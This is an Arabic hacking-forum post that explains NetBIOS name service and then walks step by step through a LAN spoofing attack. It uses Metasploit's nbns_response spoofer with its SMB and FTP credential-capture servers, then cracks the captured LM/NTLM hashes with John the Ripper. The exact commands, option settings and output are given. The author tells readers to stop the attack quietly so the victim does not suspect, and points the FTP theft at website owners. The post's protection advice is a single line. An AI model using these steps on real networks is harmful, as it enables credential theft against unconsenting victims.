[ شرح ] كل ما تريد معرفتة عن NetBios Name Service Spoofing

[rss]

بسم اللة الرحمن الرحيم السلام عليكم اعضاء منتدى الديف بونيت



لمقدمة : سوف نتكلم اليوم على هذا النوع من الهجوم

- شرح عن NetBios بتفصيل اوامرة طريقة عملة
- هجوم NetBIOS Name Registration
- هجوم NetBIOS Name Resolution وامثلة وانواعة
- هجوم Broadcast NetBIOS Name Resolution وما دخلة في البيانات الصادرة والواردة
- هجوم NetBios Name Service Spoofing في الشبكات
- Web Proxy Auto-Discovery Hijacking
- استعمال الميتاسبلوت في مثل هذا الهجوم
- طريقة الحماية منة



اولا نعرف عن NetBIOS ولما يستعمل هو اختصار ل Network Basic Input/output System\
والذي يمكن لاجهزة مختلفة في الشبكة (LAN ) ب الاتصال بينهم ب بروتوكول اتصالات وهناك انواع كثيرة
منها NPS واختصارها NBT NetBIOS over IPX/SPX
ولاكن اليوم في اغلب الانضمة المتحضرة تعمل على "NetBIOS over TCP/IP"

ثانيا ل NetBIOS عدة وظائف واهمها :

* Name service واسست لتكوين البيانات الثابتة بشبكة وايجادها عن طريق البورت 137\UDP
* يسمح بتسجيل اسم NetBIOS في الشبكة
* يسمح بمسح NetBIOS عن الشبكة
* يسمح ب التقاط حزم بينات والطريقة معروفة ب اسم NetBIOS Name Resolution

Session service\Datagram distribution service اعدو لعمل الاتصال بين الاجهزة وعن
طريق البورت 139 \TCP

* SESSION امكانية الاتصال عن بعد بجهاز
* تواجد استعلام في انضمة الوندوز عن طريق الاداه Nbtstat الموجودة في ال NetBIOS وممكن استعمالها بشكل التالي:

Nbtstat –a IP_Address

مثال على عنوان الايبي 10.0.0.1 قد تلقينا :




طبعا هذه معلومات سهلة لن اشرحها تضم نوع الخدمة \ الايبي \اسم الاجهزة\عنوان الماك ادريس



NetBIOS Name Registration


[NOTE] Nbtstat -n[/NOTE]

نشوف الصورة :






NetBIOS Name Resolution


وهذا النوع من الهجوم نستعمل الامر

\\ComputerName\Share


طبعا لن اتعمق في مثل هذه المواضبع لانها كبيرة وتاخد وقت سوف اختصر العملية دي لاستخراج اسماء الاجهزة المشاركة
لو قرات المقدمة عن ال NetBIOS لا تياس فسوف تهم لان الموضوع يتبع الاخر تابع......



Broadcast NetBIOS Name Resolution

محاولة جمع المعلومات والحزم استعملت برنامج Wireshark لفلترة الحين ننفذ الامر

nbtstat -a DigitalWhisper


والذي يعمل تحت البورت udp.port == 137 نستطيع رؤية الحزم التي تم ارسالها الى 10.0.0.255

في حال لم نتلقى اجابة سيضر Host not found. عنجها نعلم انة لا يتواجد DigitalWhisper (اسم الجهاز)
نشوف صورة الفلترة






مثال اسم جهازي ARYA-PC

ننفذ الامر : nbtstat -a ARYA-PC






NetBios Name Service Spoofing


تم استغلال مثل هذا الهجوم عن طريق الميتا وشرح بتفصيل هنا

http://ipositivesecurity.blogspot.co...ilary-ftw.html


كود الثغرة من الموقع

http://dev.****************sploit.co...ns_response.rb



Web Proxy Auto-Discovery Hijacking



بعد تنفيذ Spoofing عل الشبكة HTTP تحديدا شوف الصورة






عن طريق الامر GET /wpad.dat HTTP/1.1



في حال وجود WPAD نستطيع ارسال طلب GET للملف المسمى wpad.dat




الاسغلال ب M.e.t.a.s.p.l.o.i.t





ويكون عن طريق الامر nbns_respons


[NOTE] msf > use auxiliary/spoof/nbns/nbns_response[/NOTE]

[URL=http://imageshack.us/photo/my-images/59/63891734.png/][/URL

نشوف الاستعمال ب امر show options

[NOTE]
msf auxiliarynbns_response) > show options[/NOTE]

[URL=http://imageshack.us/photo/my-images/69/57147246.png/][/URL


* INTERFACE عنوان الشبكة التي نريد التنصت عبيها

* REGEX استعمال NetBIOS Name غير جهازنا

* Resolution كل الطلبات المستقبلة

* SPOOFIP رقم الايبي المستهدف



مثال كيف بعد ما املئتة :

[NOTE]
msf auxiliray(nbns_response) > set INTERFACE eth0
INTERFACE => eth0
msf auxiliray(nbns_response) > set SPOOFIP 10.0.0.6
SPOOFIP => 10.0.0.6[/NOTE]

شغل ب الامر run

[NOTE]
msf auxiliray(nbns_response) > run[*] Auxiliary mmodule execution completed[*] NBNS Spoofer started. Listening for NBNS requests[/NOTE]


لحين نعمل تنصت

تشغيل الامر

[NOTE] msf > use auxiliary/server/capture/smb[/NOTE]

[URL=http://imageshack.us/photo/my-images/443/12810061.png/][/URL

بعد هذة العملية نعبي المعلومات بشكل التالي


[NOTE]
msf auxiliray(smb) > set JOHNPWFILE /tmp/pwds
JOHNPWFILE => /tmp/pwds
msf auxiliray(smb) > run[*] Auxiliary mmodule execution completed[*] Server started.
[/NOTE]

تى نرى انو يشتغل ننفذ الامر jobs

راح يضهر بجهاز الضحية صورة لادخال اليوزر والباس

[URL=http://imageshack.us/photo/my-images/705/61495160.png/][/URL


بمجرد ادخالهم احنا بدورنا نستقبل كما بصورة


[URL=http://imageshack.us/photo/my-images/32/64994598.png/][/URL

والان نوقف عملية nbns_response ب استخدام الامر jobs



[NOTE] msf auxiliary(smb) > jobs Jobs Id Name ---- --
0 Auxiliary: spoof/nbns/nbns_response 1 Auxiliary: server/capture/smb msf auxiliary(smb) > jobs -k 0 Stopping job: 0...[/NOTE]


[URL=http://imageshack.us/photo/my-images/84/51883521.png/][/URL

الان وشفنا التشفير الاكواد LM Hash و NTLM Hash


نشغل الملف عن طريق الامر

[NOTE] root@root:~# cd /pentest/passwords/john root@root:/pentest/passwords/john# john /tmp/pwds_netlmv2[/NOTE]



[URL=http://imageshack.us/photo/my-images/207/69447346.png/][/URL

اذا كانت كلمة السر سهلة ستضهر بسرعة الحين عنا اكثر من طريقة ل الاختراق

الان تقوم بتشغيل nbns_response


وبعدها ننفذ الامر

[NOTE] msf > use auxiliary/server/capture/ftp[/NOTE]


[URL=http://imageshack.us/photo/my-images/19/22068514.png/][/URL
SRVHOST + الايبي + ف تي بي للي نريد ان ندخل الية


[NOTE] msf auxiliary(ftp) > set SRVHOST 10.0.0.4 SRVHOST => 10.0.0.4[/NOTE]

ونشغل run


[NOTE] msf auxiliary(ftp) > run[*] Auxiliary mmodule execution completed[*] Server started.[/NOTE]

[URL=http://imageshack.us/photo/my-images/3/12111903.png/][/URL


راح يضهر بضحية مثل الصورة

[URL=http://imageshack.us/photo/my-images/19/30811291./][/URL


وفي جهازي :

[URL=http://imageshack.us/photo/my-images/42/53880897.png/][/URL

بعد ادخال المعلومات





نوقف العملية بضغط على ctrl+c حتى لا يشك

شرحي هذا عن الاف تي بي لاصحاب المواقع وما اكثرهم وليس فقط الاجهزة :8:


الحماية من الهجوم

ندخل على الملفات التالية


ال hosts و lmhosts ويجب التعديل عليهم وسوف اشرح بموضوع افرادي

الى هنا اكون قد انتهيت

استحلفكم باللة لا تنقلو الموضوع دون ذكر الكاتب


الموضوع لنقاش فتفضلو باسالتكم والسلام عبيكم